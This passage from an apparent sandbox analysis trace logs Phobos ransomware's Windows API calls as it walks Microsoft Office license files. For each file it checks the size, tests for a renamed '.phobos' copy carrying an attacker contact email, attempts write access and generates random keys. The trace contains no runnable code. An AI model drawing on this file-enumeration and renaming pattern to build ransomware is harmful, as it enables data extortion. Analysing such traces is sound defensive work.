office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.054] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.056] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3103) returned 1 [0152.057] CloseHandle (hObject=0x564) returned 1 [0152.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0152.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.057] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.059] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3380) returned 1 [0152.059] CloseHandle (hObject=0x564) returned 1 [0152.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0152.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.060] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.062] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=4208) returned 1 [0152.062] CloseHandle (hObject=0x564) returned 1 [0152.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0152.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.062] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.063] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11589) returned 1 [0152.063] CloseHandle (hObject=0x564) returned 1 [0152.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.064] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10635) returned 1 [0152.064] CloseHandle (hObject=0x564) returned 1 [0152.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0152.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.065] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.065] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11582) returned 1 [0152.065] CloseHandle (hObject=0x564) returned 1 [0152.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.068] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.081] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20844) returned 1 [0152.081] CloseHandle (hObject=0x564) returned 1 [0152.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0152.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.082] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.083] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19919) returned 1 [0152.083] CloseHandle (hObject=0x564) returned 1 [0152.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0152.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.084] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.085] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20967) returned 1 [0152.085] CloseHandle (hObject=0x564) returned 1 [0152.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0152.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.085] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.086] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11586) returned 1 [0152.086] CloseHandle (hObject=0x564) returned 1 [0152.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0152.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.086] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.087] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11609) returned 1 [0152.087] CloseHandle (hObject=0x564) returned 1 [0152.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0152.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.089] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.092] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6795) returned 1 [0152.092] CloseHandle (hObject=0x564) returned 1 [0152.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0152.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.092] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.152] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19921) returned 1 [0152.152] CloseHandle (hObject=0x564) returned 1 [0152.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0152.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.152] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.278] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11219) returned 1 [0152.278] CloseHandle (hObject=0x564) returned 1 [0152.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0152.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.278] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.279] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22224) returned 1 [0152.279] CloseHandle (hObject=0x564) returned 1 [0152.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0152.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.280] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.280] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11674) returned 1 